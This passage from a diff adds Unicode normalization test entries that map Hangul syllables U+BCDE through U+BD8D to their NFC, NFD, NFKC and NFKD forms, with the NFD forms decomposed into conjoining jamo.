+{ source: [0xBCDE], NFC: [0xBCDE], NFD: [0x1107, 0x1168, 0x11AD], NFKC: [0xBCDE], NFKD: [0x1107, 0x1168, 0x11AD] },
+{ source: [0xBCDF], NFC: [0xBCDF], NFD: [0x1107, 0x1168, 0x11AE], NFKC: [0xBCDF], NFKD: [0x1107, 0x1168, 0x11AE] },
+{ source: [0xBCE0], NFC: [0xBCE0], NFD: [0x1107, 0x1168, 0x11AF], NFKC: [0xBCE0], NFKD: [0x1107, 0x1168, 0x11AF] },
+{ source: [0xBCE1], NFC: [0xBCE1], NFD: [0x1107, 0x1168, 0x11B0], NFKC: [0xBCE1], NFKD: [0x1107, 0x1168, 0x11B0] },
+{ source: [0xBCE2], NFC: [0xBCE2], NFD: [0x1107, 0x1168, 0x11B1], NFKC: [0xBCE2], NFKD: [0x1107, 0x1168, 0x11B1] },
+{ source: [0xBCE3], NFC: [0xBCE3], NFD: [0x1107, 0x1168, 0x11B2], NFKC: [0xBCE3], NFKD: [0x1107, 0x1168, 0x11B2] },
+{ source: [0xBCE4], NFC: [0xBCE4], NFD: [0x1107, 0x1168, 0x11B3], NFKC: [0xBCE4], NFKD: [0x1107, 0x1168, 0x11B3] },
+{ source: [0xBCE5], NFC: [0xBCE5], NFD: [0x1107, 0x1168, 0x11B4], NFKC: [0xBCE5], NFKD: [0x1107, 0x1168, 0x11B4] },
+{ source: [0xBCE6], NFC: [0xBCE6], NFD: [0x1107, 0x1168, 0x11B5], NFKC: [0xBCE6], NFKD: [0x1107, 0x1168, 0x11B5] },
+{ source: [0xBCE7], NFC: [0xBCE7], NFD: [0x1107, 0x1168, 0x11B6], NFKC: [0xBCE7], NFKD: [0x1107, 0x1168, 0x11B6] },
+{ source: [0xBCE8], NFC: [0xBCE8], NFD: [0x1107, 0x1168, 0x11B7], NFKC: [0xBCE8], NFKD: [0x1107, 0x1168, 0x11B7] },
+{ source: [0xBCE9], NFC: [0xBCE9], NFD: [0x1107, 0x1168, 0x11B8], NFKC: [0xBCE9], NFKD: [0x1107, 0x1168, 0x11B8] },
+{ source: [0xBCEA], NFC: [0xBCEA], NFD: [0x1107, 0x1168, 0x11B9], NFKC: [0xBCEA], NFKD: [0x1107, 0x1168, 0x11B9] },
+{ source: [0xBCEB], NFC: [0xBCEB], NFD: [0x1107, 0x1168, 0x11BA], NFKC: [0xBCEB], NFKD: [0x1107, 0x1168, 0x11BA] },
+{ source: [0xBCEC], NFC: [0xBCEC], NFD: [0x1107, 0x1168, 0x11BB], NFKC: [0xBCEC], NFKD: [0x1107, 0x1168, 0x11BB] },
+{ source: [0xBCED], NFC: [0xBCED], NFD: [0x1107, 0x1168, 0x11BC], NFKC: [0xBCED], NFKD: [0x1107, 0x1168, 0x11BC] },
+{ source: [0xBCEE], NFC: [0xBCEE], NFD: [0x1107, 0x1168, 0x11BD], NFKC: [0xBCEE], NFKD: [0x1107, 0x1168, 0x11BD] },
+{ source: [0xBCEF], NFC: [0xBCEF], NFD: [0x1107, 0x1168, 0x11BE], NFKC: [0xBCEF], NFKD: [0x1107, 0x1168, 0x11BE] },
+{ source: [0xBCF0], NFC: [0xBCF0], NFD: [0x1107, 0x1168, 0x11BF], NFKC: [0xBCF0], NFKD: [0x1107, 0x1168, 0x11BF] },
+{ source: [0xBCF1], NFC: [0xBCF1], NFD: [0x1107, 0x1168, 0x11C0], NFKC: [0xBCF1], NFKD: [0x1107, 0x1168, 0x11C0] },
+{ source: [0xBCF2], NFC: [0xBCF2], NFD: [0x1107, 0x1168, 0x11C1], NFKC: [0xBCF2], NFKD: [0x1107, 0x1168, 0x11C1] },
+{ source: [0xBCF3], NFC: [0xBCF3], NFD: [0x1107, 0x1168, 0x11C2], NFKC: [0xBCF3], NFKD: [0x1107, 0x1168, 0x11C2] },
+{ source: [0xBCF4], NFC: [0xBCF4], NFD: [0x1107, 0x1169], NFKC: [0xBCF4], NFKD: [0x1107, 0x1169] },
+{ source: [0xBCF5], NFC: [0xBCF5], NFD: [0x1107, 0x1169, 0x11A8], NFKC: [0xBCF5], NFKD: [0x1107, 0x1169, 0x11A8] },
+{ source: [0xBCF6], NFC: [0xBCF6], NFD: [0x1107, 0x1169, 0x11A9], NFKC: [0xBCF6], NFKD: [0x1107, 0x1169, 0x11A9] },
+{ source: [0xBCF7], NFC: [0xBCF7], NFD: [0x1107, 0x1169, 0x11AA], NFKC: [0xBCF7], NFKD: [0x1107, 0x1169, 0x11AA] },
+{ source: [0xBCF8], NFC: [0xBCF8], NFD: [0x1107, 0x1169, 0x11AB], NFKC: [0xBCF8], NFKD: [0x1107, 0x1169, 0x11AB] },
+{ source: [0xBCF9], NFC: [0xBCF9], NFD: [0x1107, 0x1169, 0x11AC], NFKC: [0xBCF9], NFKD: [0x1107, 0x1169, 0x11AC] },
+{ source: [0xBCFA], NFC: [0xBCFA], NFD: [0x1107, 0x1169, 0x11AD], NFKC: [0xBCFA], NFKD: [0x1107, 0x1169, 0x11AD] },
+{ source: [0xBCFB], NFC: [0xBCFB], NFD: [0x1107, 0x1169, 0x11AE], NFKC: [0xBCFB], NFKD: [0x1107, 0x1169, 0x11AE] },
+{ source: [0xBCFC], NFC: [0xBCFC], NFD: [0x1107, 0x1169, 0x11AF], NFKC: [0xBCFC], NFKD: [0x1107, 0x1169, 0x11AF] },
+{ source: [0xBCFD], NFC: [0xBCFD], NFD: [0x1107, 0x1169, 0x11B0], NFKC: [0xBCFD], NFKD: [0x1107, 0x1169, 0x11B0] },
+{ source: [0xBCFE], NFC: [0xBCFE], NFD: [0x1107, 0x1169, 0x11B1], NFKC: [0xBCFE], NFKD: [0x1107, 0x1169, 0x11B1] },
+{ source: [0xBCFF], NFC: [0xBCFF], NFD: [0x1107, 0x1169, 0x11B2], NFKC: [0xBCFF], NFKD: [0x1107, 0x1169, 0x11B2] },
+{ source: [0xBD00], NFC: [0xBD00], NFD: [0x1107, 0x1169, 0x11B3], NFKC: [0xBD00], NFKD: [0x1107, 0x1169, 0x11B3] },
+{ source: [0xBD01], NFC: [0xBD01], NFD: [0x1107, 0x1169, 0x11B4], NFKC: [0xBD01], NFKD: [0x1107, 0x1169, 0x11B4] },
+{ source: [0xBD02], NFC: [0xBD02], NFD: [0x1107, 0x1169, 0x11B5], NFKC: [0xBD02], NFKD: [0x1107, 0x1169, 0x11B5] },
+{ source: [0xBD03], NFC: [0xBD03], NFD: [0x1107, 0x1169, 0x11B6], NFKC: [0xBD03], NFKD: [0x1107, 0x1169, 0x11B6] },
+{ source: [0xBD04], NFC: [0xBD04], NFD: [0x1107, 0x1169, 0x11B7], NFKC: [0xBD04], NFKD: [0x1107, 0x1169, 0x11B7] },
+{ source: [0xBD05], NFC: [0xBD05], NFD: [0x1107, 0x1169, 0x11B8], NFKC: [0xBD05], NFKD: [0x1107, 0x1169, 0x11B8] },
+{ source: [0xBD06], NFC: [0xBD06], NFD: [0x1107, 0x1169, 0x11B9], NFKC: [0xBD06], NFKD: [0x1107, 0x1169, 0x11B9] },
+{ source: [0xBD07], NFC: [0xBD07], NFD: [0x1107, 0x1169, 0x11BA], NFKC: [0xBD07], NFKD: [0x1107, 0x1169, 0x11BA] },
+{ source: [0xBD08], NFC: [0xBD08], NFD: [0x1107, 0x1169, 0x11BB], NFKC: [0xBD08], NFKD: [0x1107, 0x1169, 0x11BB] },
+{ source: [0xBD09], NFC: [0xBD09], NFD: [0x1107, 0x1169, 0x11BC], NFKC: [0xBD09], NFKD: [0x1107, 0x1169, 0x11BC] },
+{ source: [0xBD0A], NFC: [0xBD0A], NFD: [0x1107, 0x1169, 0x11BD], NFKC: [0xBD0A], NFKD: [0x1107, 0x1169, 0x11BD] },
+{ source: [0xBD0B], NFC: [0xBD0B], NFD: [0x1107, 0x1169, 0x11BE], NFKC: [0xBD0B], NFKD: [0x1107, 0x1169, 0x11BE] },
+{ source: [0xBD0C], NFC: [0xBD0C], NFD: [0x1107, 0x1169, 0x11BF], NFKC: [0xBD0C], NFKD: [0x1107, 0x1169, 0x11BF] },
+{ source: [0xBD0D], NFC: [0xBD0D], NFD: [0x1107, 0x1169, 0x11C0], NFKC: [0xBD0D], NFKD: [0x1107, 0x1169, 0x11C0] },
+{ source: [0xBD0E], NFC: [0xBD0E], NFD: [0x1107, 0x1169, 0x11C1], NFKC: [0xBD0E], NFKD: [0x1107, 0x1169, 0x11C1] },
+{ source: [0xBD0F], NFC: [0xBD0F], NFD: [0x1107, 0x1169, 0x11C2], NFKC: [0xBD0F], NFKD: [0x1107, 0x1169, 0x11C2] },
+{ source: [0xBD10], NFC: [0xBD10], NFD: [0x1107, 0x116A], NFKC: [0xBD10], NFKD: [0x1107, 0x116A] },
+{ source: [0xBD11], NFC: [0xBD11], NFD: [0x1107, 0x116A, 0x11A8], NFKC: [0xBD11], NFKD: [0x1107, 0x116A, 0x11A8] },
+{ source: [0xBD12], NFC: [0xBD12], NFD: [0x1107, 0x116A, 0x11A9], NFKC: [0xBD12], NFKD: [0x1107, 0x116A, 0x11A9] },
+{ source: [0xBD13], NFC: [0xBD13], NFD: [0x1107, 0x116A, 0x11AA], NFKC: [0xBD13], NFKD: [0x1107, 0x116A, 0x11AA] },
+{ source: [0xBD14], NFC: [0xBD14], NFD: [0x1107, 0x116A, 0x11AB], NFKC: [0xBD14], NFKD: [0x1107, 0x116A, 0x11AB] },
+{ source: [0xBD15], NFC: [0xBD15], NFD: [0x1107, 0x116A, 0x11AC], NFKC: [0xBD15], NFKD: [0x1107, 0x116A, 0x11AC] },
+{ source: [0xBD16], NFC: [0xBD16], NFD: [0x1107, 0x116A, 0x11AD], NFKC: [0xBD16], NFKD: [0x1107, 0x116A, 0x11AD] },
+{ source: [0xBD17], NFC: [0xBD17], NFD: [0x1107, 0x116A, 0x11AE], NFKC: [0xBD17], NFKD: [0x1107, 0x116A, 0x11AE] },
+{ source: [0xBD18], NFC: [0xBD18], NFD: [0x1107, 0x116A, 0x11AF], NFKC: [0xBD18], NFKD: [0x1107, 0x116A, 0x11AF] },
+{ source: [0xBD19], NFC: [0xBD19], NFD: [0x1107, 0x116A, 0x11B0], NFKC: [0xBD19], NFKD: [0x1107, 0x116A, 0x11B0] },
+{ source: [0xBD1A], NFC: [0xBD1A], NFD: [0x1107, 0x116A, 0x11B1], NFKC: [0xBD1A], NFKD: [0x1107, 0x116A, 0x11B1] },
+{ source: [0xBD1B], NFC: [0xBD1B], NFD: [0x1107, 0x116A, 0x11B2], NFKC: [0xBD1B], NFKD: [0x1107, 0x116A, 0x11B2] },
+{ source: [0xBD1C], NFC: [0xBD1C], NFD: [0x1107, 0x116A, 0x11B3], NFKC: [0xBD1C], NFKD: [0x1107, 0x116A, 0x11B3] },
+{ source: [0xBD1D], NFC: [0xBD1D], NFD: [0x1107, 0x116A, 0x11B4], NFKC: [0xBD1D], NFKD: [0x1107, 0x116A, 0x11B4] },
+{ source: [0xBD1E], NFC: [0xBD1E], NFD: [0x1107, 0x116A, 0x11B5], NFKC: [0xBD1E], NFKD: [0x1107, 0x116A, 0x11B5] },
+{ source: [0xBD1F], NFC: [0xBD1F], NFD: [0x1107, 0x116A, 0x11B6], NFKC: [0xBD1F], NFKD: [0x1107, 0x116A, 0x11B6] },
+{ source: [0xBD20], NFC: [0xBD20], NFD: [0x1107, 0x116A, 0x11B7], NFKC: [0xBD20], NFKD: [0x1107, 0x116A, 0x11B7] },
+{ source: [0xBD21], NFC: [0xBD21], NFD: [0x1107, 0x116A, 0x11B8], NFKC: [0xBD21], NFKD: [0x1107, 0x116A, 0x11B8] },
+{ source: [0xBD22], NFC: [0xBD22], NFD: [0x1107, 0x116A, 0x11B9], NFKC: [0xBD22], NFKD: [0x1107, 0x116A, 0x11B9] },
+{ source: [0xBD23], NFC: [0xBD23], NFD: [0x1107, 0x116A, 0x11BA], NFKC: [0xBD23], NFKD: [0x1107, 0x116A, 0x11BA] },
+{ source: [0xBD24], NFC: [0xBD24], NFD: [0x1107, 0x116A, 0x11BB], NFKC: [0xBD24], NFKD: [0x1107, 0x116A, 0x11BB] },
+{ source: [0xBD25], NFC: [0xBD25], NFD: [0x1107, 0x116A, 0x11BC], NFKC: [0xBD25], NFKD: [0x1107, 0x116A, 0x11BC] },
+{ source: [0xBD26], NFC: [0xBD26], NFD: [0x1107, 0x116A, 0x11BD], NFKC: [0xBD26], NFKD: [0x1107, 0x116A, 0x11BD] },
+{ source: [0xBD27], NFC: [0xBD27], NFD: [0x1107, 0x116A, 0x11BE], NFKC: [0xBD27], NFKD: [0x1107, 0x116A, 0x11BE] },
+{ source: [0xBD28], NFC: [0xBD28], NFD: [0x1107, 0x116A, 0x11BF], NFKC: [0xBD28], NFKD: [0x1107, 0x116A, 0x11BF] },
+{ source: [0xBD29], NFC: [0xBD29], NFD: [0x1107, 0x116A, 0x11C0], NFKC: [0xBD29], NFKD: [0x1107, 0x116A, 0x11C0] },
+{ source: [0xBD2A], NFC: [0xBD2A], NFD: [0x1107, 0x116A, 0x11C1], NFKC: [0xBD2A], NFKD: [0x1107, 0x116A, 0x11C1] },
+{ source: [0xBD2B], NFC: [0xBD2B], NFD: [0x1107, 0x116A, 0x11C2], NFKC: [0xBD2B], NFKD: [0x1107, 0x116A, 0x11C2] },
+{ source: [0xBD2C], NFC: [0xBD2C], NFD: [0x1107, 0x116B], NFKC: [0xBD2C], NFKD: [0x1107, 0x116B] },
+{ source: [0xBD2D], NFC: [0xBD2D], NFD: [0x1107, 0x116B, 0x11A8], NFKC: [0xBD2D], NFKD: [0x1107, 0x116B, 0x11A8] },
+{ source: [0xBD2E], NFC: [0xBD2E], NFD: [0x1107, 0x116B, 0x11A9], NFKC: [0xBD2E], NFKD: [0x1107, 0x116B, 0x11A9] },
+{ source: [0xBD2F], NFC: [0xBD2F], NFD: [0x1107, 0x116B, 0x11AA], NFKC: [0xBD2F], NFKD: [0x1107, 0x116B, 0x11AA] },
+{ source: [0xBD30], NFC: [0xBD30], NFD: [0x1107, 0x116B, 0x11AB], NFKC: [0xBD30], NFKD: [0x1107, 0x116B, 0x11AB] },
+{ source: [0xBD31], NFC: [0xBD31], NFD: [0x1107, 0x116B, 0x11AC], NFKC: [0xBD31], NFKD: [0x1107, 0x116B, 0x11AC] },
+{ source: [0xBD32], NFC: [0xBD32], NFD: [0x1107, 0x116B, 0x11AD], NFKC: [0xBD32], NFKD: [0x1107, 0x116B, 0x11AD] },
+{ source: [0xBD33], NFC: [0xBD33], NFD: [0x1107, 0x116B, 0x11AE], NFKC: [0xBD33], NFKD: [0x1107, 0x116B, 0x11AE] },
+{ source: [0xBD34], NFC: [0xBD34], NFD: [0x1107, 0x116B, 0x11AF], NFKC: [0xBD34], NFKD: [0x1107, 0x116B, 0x11AF] },
+{ source: [0xBD35], NFC: [0xBD35], NFD: [0x1107, 0x116B, 0x11B0], NFKC: [0xBD35], NFKD: [0x1107, 0x116B, 0x11B0] },
+{ source: [0xBD36], NFC: [0xBD36], NFD: [0x1107, 0x116B, 0x11B1], NFKC: [0xBD36], NFKD: [0x1107, 0x116B, 0x11B1] },
+{ source: [0xBD37], NFC: [0xBD37], NFD: [0x1107, 0x116B, 0x11B2], NFKC: [0xBD37], NFKD: [0x1107, 0x116B, 0x11B2] },
+{ source: [0xBD38], NFC: [0xBD38], NFD: [0x1107, 0x116B, 0x11B3], NFKC: [0xBD38], NFKD: [0x1107, 0x116B, 0x11B3] },
+{ source: [0xBD39], NFC: [0xBD39], NFD: [0x1107, 0x116B, 0x11B4], NFKC: [0xBD39], NFKD: [0x1107, 0x116B, 0x11B4] },
+{ source: [0xBD3A], NFC: [0xBD3A], NFD: [0x1107, 0x116B, 0x11B5], NFKC: [0xBD3A], NFKD: [0x1107, 0x116B, 0x11B5] },
+{ source: [0xBD3B], NFC: [0xBD3B], NFD: [0x1107, 0x116B, 0x11B6], NFKC: [0xBD3B], NFKD: [0x1107, 0x116B, 0x11B6] },
+{ source: [0xBD3C], NFC: [0xBD3C], NFD: [0x1107, 0x116B, 0x11B7], NFKC: [0xBD3C], NFKD: [0x1107, 0x116B, 0x11B7] },
+{ source: [0xBD3D], NFC: [0xBD3D], NFD: [0x1107, 0x116B, 0x11B8], NFKC: [0xBD3D], NFKD: [0x1107, 0x116B, 0x11B8] },
+{ source: [0xBD3E], NFC: [0xBD3E], NFD: [0x1107, 0x116B, 0x11B9], NFKC: [0xBD3E], NFKD: [0x1107, 0x116B, 0x11B9] },
+{ source: [0xBD3F], NFC: [0xBD3F], NFD: [0x1107, 0x116B, 0x11BA], NFKC: [0xBD3F], NFKD: [0x1107, 0x116B, 0x11BA] },
+{ source: [0xBD40], NFC: [0xBD40], NFD: [0x1107, 0x116B, 0x11BB], NFKC: [0xBD40], NFKD: [0x1107, 0x116B, 0x11BB] },
+{ source: [0xBD41], NFC: [0xBD41], NFD: [0x1107, 0x116B, 0x11BC], NFKC: [0xBD41], NFKD: [0x1107, 0x116B, 0x11BC] },
+{ source: [0xBD42], NFC: [0xBD42], NFD: [0x1107, 0x116B, 0x11BD], NFKC: [0xBD42], NFKD: [0x1107, 0x116B, 0x11BD] },
+{ source: [0xBD43], NFC: [0xBD43], NFD: [0x1107, 0x116B, 0x11BE], NFKC: [0xBD43], NFKD: [0x1107, 0x116B, 0x11BE] },
+{ source: [0xBD44], NFC: [0xBD44], NFD: [0x1107, 0x116B, 0x11BF], NFKC: [0xBD44], NFKD: [0x1107, 0x116B, 0x11BF] },
+{ source: [0xBD45], NFC: [0xBD45], NFD: [0x1107, 0x116B, 0x11C0], NFKC: [0xBD45], NFKD: [0x1107, 0x116B, 0x11C0] },
+{ source: [0xBD46], NFC: [0xBD46], NFD: [0x1107, 0x116B, 0x11C1], NFKC: [0xBD46], NFKD: [0x1107, 0x116B, 0x11C1] },
+{ source: [0xBD47], NFC: [0xBD47], NFD: [0x1107, 0x116B, 0x11C2], NFKC: [0xBD47], NFKD: [0x1107, 0x116B, 0x11C2] },
+{ source: [0xBD48], NFC: [0xBD48], NFD: [0x1107, 0x116C], NFKC: [0xBD48], NFKD: [0x1107, 0x116C] },
+{ source: [0xBD49], NFC: [0xBD49], NFD: [0x1107, 0x116C, 0x11A8], NFKC: [0xBD49], NFKD: [0x1107, 0x116C, 0x11A8] },
+{ source: [0xBD4A], NFC: [0xBD4A], NFD: [0x1107, 0x116C, 0x11A9], NFKC: [0xBD4A], NFKD: [0x1107, 0x116C, 0x11A9] },
+{ source: [0xBD4B], NFC: [0xBD4B], NFD: [0x1107, 0x116C, 0x11AA], NFKC: [0xBD4B], NFKD: [0x1107, 0x116C, 0x11AA] },
+{ source: [0xBD4C], NFC: [0xBD4C], NFD: [0x1107, 0x116C, 0x11AB], NFKC: [0xBD4C], NFKD: [0x1107, 0x116C, 0x11AB] },
+{ source: [0xBD4D], NFC: [0xBD4D], NFD: [0x1107, 0x116C, 0x11AC], NFKC: [0xBD4D], NFKD: [0x1107, 0x116C, 0x11AC] },
+{ source: [0xBD4E], NFC: [0xBD4E], NFD: [0x1107, 0x116C, 0x11AD], NFKC: [0xBD4E], NFKD: [0x1107, 0x116C, 0x11AD] },
+{ source: [0xBD4F], NFC: [0xBD4F], NFD: [0x1107, 0x116C, 0x11AE], NFKC: [0xBD4F], NFKD: [0x1107, 0x116C, 0x11AE] },
+{ source: [0xBD50], NFC: [0xBD50], NFD: [0x1107, 0x116C, 0x11AF], NFKC: [0xBD50], NFKD: [0x1107, 0x116C, 0x11AF] },
+{ source: [0xBD51], NFC: [0xBD51], NFD: [0x1107, 0x116C, 0x11B0], NFKC: [0xBD51], NFKD: [0x1107, 0x116C, 0x11B0] },
+{ source: [0xBD52], NFC: [0xBD52], NFD: [0x1107, 0x116C, 0x11B1], NFKC: [0xBD52], NFKD: [0x1107, 0x116C, 0x11B1] },
+{ source: [0xBD53], NFC: [0xBD53], NFD: [0x1107, 0x116C, 0x11B2], NFKC: [0xBD53], NFKD: [0x1107, 0x116C, 0x11B2] },
+{ source: [0xBD54], NFC: [0xBD54], NFD: [0x1107, 0x116C, 0x11B3], NFKC: [0xBD54], NFKD: [0x1107, 0x116C, 0x11B3] },
+{ source: [0xBD55], NFC: [0xBD55], NFD: [0x1107, 0x116C, 0x11B4], NFKC: [0xBD55], NFKD: [0x1107, 0x116C, 0x11B4] },
+{ source: [0xBD56], NFC: [0xBD56], NFD: [0x1107, 0x116C, 0x11B5], NFKC: [0xBD56], NFKD: [0x1107, 0x116C, 0x11B5] },
+{ source: [0xBD57], NFC: [0xBD57], NFD: [0x1107, 0x116C, 0x11B6], NFKC: [0xBD57], NFKD: [0x1107, 0x116C, 0x11B6] },
+{ source: [0xBD58], NFC: [0xBD58], NFD: [0x1107, 0x116C, 0x11B7], NFKC: [0xBD58], NFKD: [0x1107, 0x116C, 0x11B7] },
+{ source: [0xBD59], NFC: [0xBD59], NFD: [0x1107, 0x116C, 0x11B8], NFKC: [0xBD59], NFKD: [0x1107, 0x116C, 0x11B8] },
+{ source: [0xBD5A], NFC: [0xBD5A], NFD: [0x1107, 0x116C, 0x11B9], NFKC: [0xBD5A], NFKD: [0x1107, 0x116C, 0x11B9] },
+{ source: [0xBD5B], NFC: [0xBD5B], NFD: [0x1107, 0x116C, 0x11BA], NFKC: [0xBD5B], NFKD: [0x1107, 0x116C, 0x11BA] },
+{ source: [0xBD5C], NFC: [0xBD5C], NFD: [0x1107, 0x116C, 0x11BB], NFKC: [0xBD5C], NFKD: [0x1107, 0x116C, 0x11BB] },
+{ source: [0xBD5D], NFC: [0xBD5D], NFD: [0x1107, 0x116C, 0x11BC], NFKC: [0xBD5D], NFKD: [0x1107, 0x116C, 0x11BC] },
+{ source: [0xBD5E], NFC: [0xBD5E], NFD: [0x1107, 0x116C, 0x11BD], NFKC: [0xBD5E], NFKD: [0x1107, 0x116C, 0x11BD] },
+{ source: [0xBD5F], NFC: [0xBD5F], NFD: [0x1107, 0x116C, 0x11BE], NFKC: [0xBD5F], NFKD: [0x1107, 0x116C, 0x11BE] },
+{ source: [0xBD60], NFC: [0xBD60], NFD: [0x1107, 0x116C, 0x11BF], NFKC: [0xBD60], NFKD: [0x1107, 0x116C, 0x11BF] },
+{ source: [0xBD61], NFC: [0xBD61], NFD: [0x1107, 0x116C, 0x11C0], NFKC: [0xBD61], NFKD: [0x1107, 0x116C, 0x11C0] },
+{ source: [0xBD62], NFC: [0xBD62], NFD: [0x1107, 0x116C, 0x11C1], NFKC: [0xBD62], NFKD: [0x1107, 0x116C, 0x11C1] },
+{ source: [0xBD63], NFC: [0xBD63], NFD: [0x1107, 0x116C, 0x11C2], NFKC: [0xBD63], NFKD: [0x1107, 0x116C, 0x11C2] },
+{ source: [0xBD64], NFC: [0xBD64], NFD: [0x1107, 0x116D], NFKC: [0xBD64], NFKD: [0x1107, 0x116D] },
+{ source: [0xBD65], NFC: [0xBD65], NFD: [0x1107, 0x116D, 0x11A8], NFKC: [0xBD65], NFKD: [0x1107, 0x116D, 0x11A8] },
+{ source: [0xBD66], NFC: [0xBD66], NFD: [0x1107, 0x116D, 0x11A9], NFKC: [0xBD66], NFKD: [0x1107, 0x116D, 0x11A9] },
+{ source: [0xBD67], NFC: [0xBD67], NFD: [0x1107, 0x116D, 0x11AA], NFKC: [0xBD67], NFKD: [0x1107, 0x116D, 0x11AA] },
+{ source: [0xBD68], NFC: [0xBD68], NFD: [0x1107, 0x116D, 0x11AB], NFKC: [0xBD68], NFKD: [0x1107, 0x116D, 0x11AB] },
+{ source: [0xBD69], NFC: [0xBD69], NFD: [0x1107, 0x116D, 0x11AC], NFKC: [0xBD69], NFKD: [0x1107, 0x116D, 0x11AC] },
+{ source: [0xBD6A], NFC: [0xBD6A], NFD: [0x1107, 0x116D, 0x11AD], NFKC: [0xBD6A], NFKD: [0x1107, 0x116D, 0x11AD] },
+{ source: [0xBD6B], NFC: [0xBD6B], NFD: [0x1107, 0x116D, 0x11AE], NFKC: [0xBD6B], NFKD: [0x1107, 0x116D, 0x11AE] },
+{ source: [0xBD6C], NFC: [0xBD6C], NFD: [0x1107, 0x116D, 0x11AF], NFKC: [0xBD6C], NFKD: [0x1107, 0x116D, 0x11AF] },
+{ source: [0xBD6D], NFC: [0xBD6D], NFD: [0x1107, 0x116D, 0x11B0], NFKC: [0xBD6D], NFKD: [0x1107, 0x116D, 0x11B0] },
+{ source: [0xBD6E], NFC: [0xBD6E], NFD: [0x1107, 0x116D, 0x11B1], NFKC: [0xBD6E], NFKD: [0x1107, 0x116D, 0x11B1] },
+{ source: [0xBD6F], NFC: [0xBD6F], NFD: [0x1107, 0x116D, 0x11B2], NFKC: [0xBD6F], NFKD: [0x1107, 0x116D, 0x11B2] },
+{ source: [0xBD70], NFC: [0xBD70], NFD: [0x1107, 0x116D, 0x11B3], NFKC: [0xBD70], NFKD: [0x1107, 0x116D, 0x11B3] },
+{ source: [0xBD71], NFC: [0xBD71], NFD: [0x1107, 0x116D, 0x11B4], NFKC: [0xBD71], NFKD: [0x1107, 0x116D, 0x11B4] },
+{ source: [0xBD72], NFC: [0xBD72], NFD: [0x1107, 0x116D, 0x11B5], NFKC: [0xBD72], NFKD: [0x1107, 0x116D, 0x11B5] },
+{ source: [0xBD73], NFC: [0xBD73], NFD: [0x1107, 0x116D, 0x11B6], NFKC: [0xBD73], NFKD: [0x1107, 0x116D, 0x11B6] },
+{ source: [0xBD74], NFC: [0xBD74], NFD: [0x1107, 0x116D, 0x11B7], NFKC: [0xBD74], NFKD: [0x1107, 0x116D, 0x11B7] },
+{ source: [0xBD75], NFC: [0xBD75], NFD: [0x1107, 0x116D, 0x11B8], NFKC: [0xBD75], NFKD: [0x1107, 0x116D, 0x11B8] },
+{ source: [0xBD76], NFC: [0xBD76], NFD: [0x1107, 0x116D, 0x11B9], NFKC: [0xBD76], NFKD: [0x1107, 0x116D, 0x11B9] },
+{ source: [0xBD77], NFC: [0xBD77], NFD: [0x1107, 0x116D, 0x11BA], NFKC: [0xBD77], NFKD: [0x1107, 0x116D, 0x11BA] },
+{ source: [0xBD78], NFC: [0xBD78], NFD: [0x1107, 0x116D, 0x11BB], NFKC: [0xBD78], NFKD: [0x1107, 0x116D, 0x11BB] },
+{ source: [0xBD79], NFC: [0xBD79], NFD: [0x1107, 0x116D, 0x11BC], NFKC: [0xBD79], NFKD: [0x1107, 0x116D, 0x11BC] },
+{ source: [0xBD7A], NFC: [0xBD7A], NFD: [0x1107, 0x116D, 0x11BD], NFKC: [0xBD7A], NFKD: [0x1107, 0x116D, 0x11BD] },
+{ source: [0xBD7B], NFC: [0xBD7B], NFD: [0x1107, 0x116D, 0x11BE], NFKC: [0xBD7B], NFKD: [0x1107, 0x116D, 0x11BE] },
+{ source: [0xBD7C], NFC: [0xBD7C], NFD: [0x1107, 0x116D, 0x11BF], NFKC: [0xBD7C], NFKD: [0x1107, 0x116D, 0x11BF] },
+{ source: [0xBD7D], NFC: [0xBD7D], NFD: [0x1107, 0x116D, 0x11C0], NFKC: [0xBD7D], NFKD: [0x1107, 0x116D, 0x11C0] },
+{ source: [0xBD7E], NFC: [0xBD7E], NFD: [0x1107, 0x116D, 0x11C1], NFKC: [0xBD7E], NFKD: [0x1107, 0x116D, 0x11C1] },
+{ source: [0xBD7F], NFC: [0xBD7F], NFD: [0x1107, 0x116D, 0x11C2], NFKC: [0xBD7F], NFKD: [0x1107, 0x116D, 0x11C2] },
+{ source: [0xBD80], NFC: [0xBD80], NFD: [0x1107, 0x116E], NFKC: [0xBD80], NFKD: [0x1107, 0x116E] },
+{ source: [0xBD81], NFC: [0xBD81], NFD: [0x1107, 0x116E, 0x11A8], NFKC: [0xBD81], NFKD: [0x1107, 0x116E, 0x11A8] },
+{ source: [0xBD82], NFC: [0xBD82], NFD: [0x1107, 0x116E, 0x11A9], NFKC: [0xBD82], NFKD: [0x1107, 0x116E, 0x11A9] },
+{ source: [0xBD83], NFC: [0xBD83], NFD: [0x1107, 0x116E, 0x11AA], NFKC: [0xBD83], NFKD: [0x1107, 0x116E, 0x11AA] },
+{ source: [0xBD84], NFC: [0xBD84], NFD: [0x1107, 0x116E, 0x11AB], NFKC: [0xBD84], NFKD: [0x1107, 0x116E, 0x11AB] },
+{ source: [0xBD85], NFC: [0xBD85], NFD: [0x1107, 0x116E, 0x11AC], NFKC: [0xBD85], NFKD: [0x1107, 0x116E, 0x11AC] },
+{ source: [0xBD86], NFC: [0xBD86], NFD: [0x1107, 0x116E, 0x11AD], NFKC: [0xBD86], NFKD: [0x1107, 0x116E, 0x11AD] },
+{ source: [0xBD87], NFC: [0xBD87], NFD: [0x1107, 0x116E, 0x11AE], NFKC: [0xBD87], NFKD: [0x1107, 0x116E, 0x11AE] },
+{ source: [0xBD88], NFC: [0xBD88], NFD: [0x1107, 0x116E, 0x11AF], NFKC: [0xBD88], NFKD: [0x1107, 0x116E, 0x11AF] },
+{ source: [0xBD89], NFC: [0xBD89], NFD: [0x1107, 0x116E, 0x11B0], NFKC: [0xBD89], NFKD: [0x1107, 0x116E, 0x11B0] },
+{ source: [0xBD8A], NFC: [0xBD8A], NFD: [0x1107, 0x116E, 0x11B1], NFKC: [0xBD8A], NFKD: [0x1107, 0x116E, 0x11B1] },
+{ source: [0xBD8B], NFC: [0xBD8B], NFD: [0x1107, 0x116E, 0x11B2], NFKC: [0xBD8B], NFKD: [0x1107, 0x116E, 0x11B2] },
+{ source: [0xBD8C], NFC: [0xBD8C], NFD: [0x1107, 0x116E, 0x11B3], NFKC: [0xBD8C], NFKD: [0x1107, 0x116E, 0x11B3] },
+{ source: [0xBD8D], NFC: [0xBD8D], NFD: [0x1107, 0x116E, 0x11B4], NFKC: [0xBD8D], NFKD: [0x1107, 0x116E, 0x11B4] },
